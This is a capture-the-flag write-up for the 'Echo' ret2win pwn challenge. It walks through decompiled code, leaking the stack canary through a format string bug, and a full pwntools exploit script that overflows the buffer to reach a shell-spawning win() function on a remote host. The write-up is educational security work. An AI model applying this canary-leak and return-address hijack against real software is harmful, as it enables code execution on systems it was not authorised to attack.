Echo (ret2win)
Pwn · MUST CTF: 2023 · unknown
Problem
Welcome to my first write-up for a pwn challenge. I hope you find it enjoyable!
👓 Function Analysis with Ghidra
Main
Function
undefined8 main(void)
{
long in_FS_OFFSET;
char local_58 [72];
long local_10;
local_10 = (long)(in_FS_OFFSET + 0x28);
puts("Welcome to the echo program!");
puts("Enter some text: ");
FUN_004010e0(local_58);
printf(local_58);
puts("");
puts("Do you have any reviews?");
FUN_004010e0(local_58);
puts("Thanks for using the echo program!");
if (local_10 != (long)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Win
Function
void win(void)
{
long lVar1;
long in_FS_OFFSET;
lVar1 = (long)(in_FS_OFFSET + 0x28);
system("/bin/sh");
if (lVar1 != (long)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
🛡️ Security Protections (checksec)

🛑 Observations
Buffer size = 72 bytes (
char local_58[72]
)Stack canary is in use → we cannot overwrite the return address directly without bypassing the canary.
First input is used in
printf(local_58);
→ this is a format string vulnerabilitySecond input is again written to the same buffer
🧪 Exploitation Plan
We can't overflow due to the stack canary. But we can leak the canary via the format string vulnerability!
Step 1: Leak Stack Canary
Use the first input to leak stack values:

You'll see a value like 0xxxxxxxxxxxxxxx00
— that’s likely the stack canary. It often starts with 0x00
or ends with double zeros due to how it's structured for detection of overflows. In our case, the canary is 0x29ddc79a305ac100
Next, let's calculate the offset of the canary. You can simply count the format string arguments starting from
0x1
until you reach the canary value (e.g.,0x29ddc79a305ac100
), separating each with a dot (.
) for easier identification. Finally, I have found out that the offset of canary is35
Step 2: Build Payload
To craft our exploit, we need to understand the exact layout of the stack and construct the payload accordingly:
Buffer: 72 bytes — fills up to the canary
Canary: 8 bytes — must be preserved exactly
Saved RBP: 8 bytes — can be any value
Return address (ret): 8 bytes — address of a
ret
instruction for stack alignmentRIP: 8 bytes — overwrite this with the address of the
win()
function
📌 Note:
The return address used after the canary must land correctly on a
ret
instruction before jumping towin()
to maintain stack alignment (especially important on some systems withlibc
protection like__libc_csu_init
).It's better to return into the
win()
function, which ends with aret
, rather than trying to return cleanly back tomain()
or usingreturn 0
, as the goal is to hijack execution — not exit gracefully.
🖼️ The included screenshots show how the necessary addresses were found using Ghidra
, including:
Address of the
win()
functionAddress of a
ret
instruction (if needed for alignment)


Step 3: Exploit Script
from pwn import *
context.binary = elf = ELF("./echo")
p = remote("139.162.5.230", 10323)
# Step 1: Leak stack canary
p.recvuntil(b"Enter some text: \n")
p.sendline(b'%35$p') # Leak the canary at the 35th argument (adjust if needed)
canary = int(p.recvline().strip(), 16)
log.info(f'Canary: {hex(canary)}')
# Step 2: Build payload
overwrite = b'A' * 72 # Buffer size before canary
payload = overwrite
payload += p64(canary) # Add leaked canary to bypass stack protection
payload += b'A' * 8 # Overwrite saved RBP (usually 8 bytes)
ret = p64(0x0000000000401289) # ret gadget for stack alignment (avoid movaps error)
win = p64(0x0000000000401244) # win function address
payload += ret
payload += win
# Step 3: Send payload after prompt
p.recvuntil(b"?\n")
p.sendline(payload)
# Step 4: Get interactive shell / output
p.interactive()
✅ Exploit Success
Once the win()
function is executed, it calls system("/bin/sh")
, giving you a shell.

Last updated